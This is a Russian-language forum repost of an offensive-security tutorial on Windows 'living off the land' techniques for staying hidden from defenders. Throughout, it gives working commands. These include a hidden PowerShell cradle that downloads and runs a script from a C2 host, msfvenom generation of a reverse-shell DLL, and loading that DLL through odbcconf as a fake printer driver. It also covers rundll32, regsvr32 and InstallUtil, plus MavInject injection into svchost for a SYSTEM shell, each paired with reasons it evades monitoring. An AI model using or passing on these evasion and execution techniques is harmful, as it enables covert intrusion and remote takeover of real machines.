PowerShell для хакеров – Выживание, часть 4: Ослепление защитников

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, кибервоины!

Мы надеемся, что на протяжении всей серии «Выживание» вы многому у нас научились. Сегодня мы расскажем о методах «Жизни на суше» , которые можно использовать без привлечения внимания. Наша цель — использовать знания из предыдущих статей, чтобы выполнять свою работу без лишнего внимания со стороны специалистов по безопасности. Все команды, которые мы рассмотрим в двух частях, являются безопасными, встроенными и доступны в устаревших системах. Не все из них хорошо известны, и отследить их все невозможно, поскольку они генерируют огромное количество журналов, в которых сложно разобраться. Как вы, возможно, знаете, некоторые легитимные программы могут вести себя подозрительно, используя имена своих процессов и драйверов. Множество ложных срабатываний быстро истощают специалистов по безопасности, поэтому во многих случаях с помощью этих команд можно остаться незамеченными.

Сегодня вы узнаете, как выполнять различные типы скриптов в качестве замены скриптам .ps1, поскольку их можно отслеживать, создавать поддельные драйверы и внедрять библиотеки DLL в процессы, чтобы получить обратную оболочку для вашего C2.

Давайте начнем!

Исполнение и написание сценариев

Powershell

Давайте вспомним основные принципы скрытности в PowerShell из предыдущих статей. PowerShell — это встроенная среда сценариев, используемая системными администраторами для автоматизации задач, проверки состояния системы и настройки Windows. Она легитимна и не вызывает подозрений, если только не выполняется там, где ей не место. Создание процессов можно отслеживать, но это не всегда так. Для такого мониторинга требуются усилия и программное обеспечение. То же самое относится и к скриптам .ps1. Именно поэтому в одной из предыдущих статей мы научились преобразовывать .ps1 в .bat, чтобы не выделяться. Это не значит, что вам следует избегать PowerShell или его скриптов, поскольку с его помощью можно создавать множество инструментов.

Вот напоминание о том, как загрузить и выполнить скрипт в памяти скрытно:

PS > powershell.exe -nop -w h -ep bypass -c "iex (New-Object Net.WebClient).DownloadString('http://c2/script.ps1')"

Пошаговое руководство: Это указывает PowerShell на быстрый запуск без загрузки скриптов профиля пользователя ( -nop ), скрытие окна ( -wh ), игнорирование правил выполнения скриптов ( -ep bypass ), загрузку скрипта с URL-адреса и его непосредственное выполнение в памяти ( DownloadString + Invoke-Expression ).

Когда вы его используете: когда вам нужно загрузить скрипт с удаленного сервера и незаметно запустить его.

Почему он незаметен: PowerShell часто используется для административных задач, а выполнение в памяти не оставляет на диске файлов для сканирования антивирусом. Пропуск скриптов профиля пользователя позволяет избежать потенциального встроенного в них мониторинга.

Менее скрытный вариант:

PS &gt; iwr <a href="https://hackers-arise.com/powershell-for-hackers-survival-edition-part-4-blinding-defenders/" title="">http://c2/script.ps1</a> | iex&nbsp;

Важно помнить, что Invoke-WebRequest ( iwr ) и Invoke-Expression ( iex ) часто используются хакерами. Позже мы рассмотрим более скрытные способы загрузки и выполнения полезных данных.

КМД

CMD — это классическая командная строка Windows, используемая для запуска пакетных файлов и утилит. Хотя этот модуль посвящен PowerShell, нас больше интересует скрытность, поэтому мы рассмотрим некоторые команды CMD. С её помощью мы можем объединять утилиты в цепочки, перенаправлять вывод в файлы и незаметно собирать системную информацию.

Вот как связать перечисление с помощью CMD:

PS &gt; cmd.exe /c "whoami /all &gt; C:\Temp\privs.txt &amp; netstat -ano &gt;&gt; C:\Temp\privs.txt"

использование cmd для цепочки команд

Пошаговое руководство: /c запускает команду и завершает работу. whoami /all получает информацию о пользователе и привилегиях и записывает её в C:\Temp\privs.txt . netstat -ano добавляет активные сетевые подключения в тот же файл. Пользователь не видит видимого окна.

Когда это следует использовать: Цепочка команд удобна, особенно если используется ведение журнала блоков скриптов и ваши команды сохраняются.

Почему это незаметно: cmd.exe используется повсеместно, а запись во временные файлы выглядит как обычная диагностика.

cscript.exe

Он запускает скрипты VBScript или JScript из командной строки. Более старые средства автоматизации используют его для выполнения скриптов, выполняющих проверки или запускающих команды. В основном мы будем использовать его для обхода мониторинга выполнения PS1. Ниже вы можете увидеть, как мы выполнили скрипт JavaScript.

PS &gt; cscript //E:JScript //Nologo C:\Temp\script.js

использование csript для загрузки js-файлов

Пошаговое руководство (обычный вариант): //E:JScript выбирает движок JavaScript, а //Nologo скрывает обычный заголовок. Последний аргумент указывает на скрипт, который будет запущен.

Когда вы будете использовать его: для всех видов использования. С помощью ИИ вы можете написать скрипт подсчёта.

Почему он незаметен: в некоторых средах за ним наблюдают меньше, чем за PowerShell, и он выглядит как устаревшая автоматизация.

wscript.exe

По умолчанию он запускает скрипты Windows Script Host (WSH) (VBScript/JScript), часто для сценариев, отображающих диалоговые окна. Как пентестер, вы можете запустить VBScript в фоновом режиме или выполнять операции оболочки без видимых окон.

PS &gt; wscript.exe //E:VBScript C:\Temp\enum.vbs //B

использование wscript для запуска VBS-скриптов

Пошаговое руководство: //B выполняется в пакетном режиме (без окон сообщений). Скрипт VBScript в C:\Temp\enum.vbs выполняется сервером сценариев Windows.

Когда использовать: То же самое, всё зависит от создаваемого вами скрипта. Мы создали скрипт перечисления систем, который отправляет вывод в текстовый файл.

Почему он незаметен: работает без окон и часто используется законно.

mshta.exe

Обычно он запускает HTML-приложения (HTA), содержащие скрипты, используемые для небольших административных интерфейсов. Для пентестеров это способ выполнения HTA-скриптов со встроенным кодом. Требуется графический интерфейс.

PS &gt; mshta users.hta&nbsp;

использование mshta для запуска hta-скриптов

Пошаговое руководство: mshta.exe запускает код скрипта в users.hta, который может создать объект WScript и выполнить команды, потенциально открывая окно с выводом.

Когда вы будете его использовать: для запуска, казалось бы, безобидного HTML-приложения, которое выполняет команды оболочки.

Почему он незаметен: он выглядит как веб-компонент или компонент пользовательского интерфейса и может обходить некоторые правила, доступные только скриптам.

Загрузка и инъекции DLL

Эти методы основаны на законных механизмах загрузки или регистрации DLL для запуска кода.

Rundll32.exe

Используется для загрузки DLL-библиотеки и вызова её экспортированных функций, часто установщиками и системными утилитами. Пентестеры могут использовать его для выполнения скрипта или функции в DLL, например, обратного шелла, созданного msfvenom. Будьте осторожны, так как rundll32.exe часто используется не по назначению.

C:\&gt; rundll32.exe C:\reflective_dll.x64.dll,TestEntry

использование rundll32 для настройки библиотек DLL

Пошаговое руководство: команда запускает rundll32.exe для загрузки reflective_dll.x64.dll и вызова его функции TestEntry.

Когда это следует использовать: для выполнения кода DLL в средах, где прямое выполнение ограничено.

Почему он незаметен: rundll32.exe — это обычный системный двоичный файл, и его активность может сливаться с обычными шагами установщика.

Regsvr32.exe

Проще говоря, он добавляет или удаляет специальные файлы Windows (например, DLL или скриптлеты) из системного реестра, чтобы приложения могли использовать или прекратить их использование. Это ещё один менее распространённый способ запуска DLL.

PS &gt; regsvr32.exe /u /s .\reflective_dll.x64.dll

использование regsvr32 для запуска dll

Пошаговое руководство : regsvr32 получает запрос на запуск DLL. /s делает его бесшумным.

Когда это можно использовать: для выполнения DLL через процесс регистрации, имитирующий задачи обслуживания.

Почему это незаметно: Операции регистрации являются обычным явлением в рабочих процессах ИТ, поэтому звонок можно пропустить.

odbcconf.exe

Обычно odbcconf.exe помогает программам подключаться к базам данных, настраивая драйверы и соединения. Вы можете использовать его для запуска своих DLL. Ниже приведён пример того, как мы запустили сгенерированную DLL и получили обратную оболочку.

bash &gt; msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.57 LPORT=4444 -f dll -o file.dll

создание DLL-файла

PS &gt; odbcconf.exe INSTALLDRIVER “Printer-driverX|Driver=C:\file.dll|APILevel=2”

PS &gt; odbcconf.exe configsysdns “Printer-driverX” “DNS=Printer-driverX”

создание поддельного драйвера с помощью odbcconf
получение обратного соединения с c2

Пошаговое руководство: Первая команда odbcconf указывает Windows зарегистрировать поддельный драйвер базы данных с именем «Printer-driverX» с помощью DLL-файла. Часть APILevel=2 делает его похожим на легитимный драйвер. При обработке этой команды Windows загружает file.dll , который запускает обратную оболочку. Вторая команда odbcconf создаёт системный источник данных (DSN) с именем «Printer-driverX», связанный с этим поддельным драйвером, что запускает повторную загрузку DLL-файла, обеспечивая запуск вредоносного кода.

Когда это можно использовать: для скрытого выполнения пользовательской DLL-библиотеки, особенно когда другие методы отслеживаются.

Почему это незаметно: odbcconf — легальный инструмент Windows, который редко используется вне задач администрирования баз данных, поэтому он не подвергается пристальному контролю со стороны средств безопасности или администраторов в большинстве систем. Использование odbcconf для загрузки DLL выглядит как обычная настройка базы данных, скрывая злонамеренный замысел.

Installutil.exe

Обычно это инструмент Windows, который устанавливает или удаляет программы .NET, такие как библиотеки DLL или исполняемые файлы, предназначенные для работы в качестве служб или компонентов. Он настраивает их для работы с Windows, например, регистрируя для автоматического запуска, или удаляет их, когда они больше не нужны. В сценариях пентеста эта команда используется для выполнения вредоносного кода, скрытого в специально созданной библиотеке DLL .NET, имитируя её удаление в качестве службы .NET.

PS &gt; InstallUtil.exe /logfile= /LogToConsole=false /U file.dll

Пошаговое руководство: Эта команда предписывает Windows удалить сборку .NET (file.dll), ранее настроенную как служба или компонент. Флаг /U означает удаление, /logfile= пропускает создание файла журнала, а /LogToConsole=false скрывает вывод на экран. Если file.dll — вредоносная сборка .NET с собственным классом установщика, её удаление может запустить её код, например, обратную оболочку, при выполнении команды удаления. Однако для DLL из msfvenom это может работать некорректно, если только это не DLL-библиотека службы .NET.

Когда это следует использовать: Это полезно, когда у вас есть права администратора и вам нужно скрытно выполнить полезную нагрузку .NET, особенно если другие методы недоступны.

Почему это незаметно: Утилиты установки обычно используются разработчиками и администраторами.

Mavinject.exe

По сути, он был разработан для поддержки виртуализации приложений, когда Windows запускает приложения в виртуальном контейнере. Мы используем его для внедрения DLL-библиотек в запущенные процессы, чтобы обеспечить выполнение нашего кода. Мы рекомендуем использовать для внедрения системные процессы, например, svchost.exe. Вот как это делается:

PS &gt; MavInject.exe 528 /INJECTRUNNING C:\file.dll

использование mavinject для внедрения dll в процессы и получения обратного шелла

Пошаговое руководство: выбирает процесс с идентификатором 528 (svchost.exe) и поручает MavInject.exe внедрить в него file.dll. При загрузке DLL он запускает код, и мы получаем обратное соединение.

Зачем это использовать: для внедрения DLL для высокопривилегированного обратного шелла, например, доступа SYSTEM.

Почему это незаметно: MavInject.exe — это специализированный инструмент Microsoft, поэтому он редко отслеживается программным обеспечением безопасности или администраторами, что делает инъекцию похожей на законное поведение системы.

Краткое содержание

Методы «Жизни на суше» играют важную роль в тестировании на проникновение в Windows, поскольку позволяют достичь своих целей, используя только встроенные инструменты Microsoft и подписанные двоичные файлы. Это уменьшает количество криминалистических следов и позволяет вашим действиям сливаться с обычным поведением администратора, что увеличивает вероятность обхода защиты конечных точек и правил обнаружения. В части 1 мы рассмотрели выполнение скриптов и внедрение DLL, некоторые из которых значительно повысят вашу скрытность и возможности. Во второй части вы изучите сетевую разведку, устойчивость и управление файлами для дальнейшего уклонения от обнаружения. Защитники также могут многому научиться из этого, чтобы скорректировать стратегии обнаружения. Однако, как уже упоминалось, двоичные файлы системы мониторинга могут генерировать множество ложных срабатываний.
 
Назад
Сверху Снизу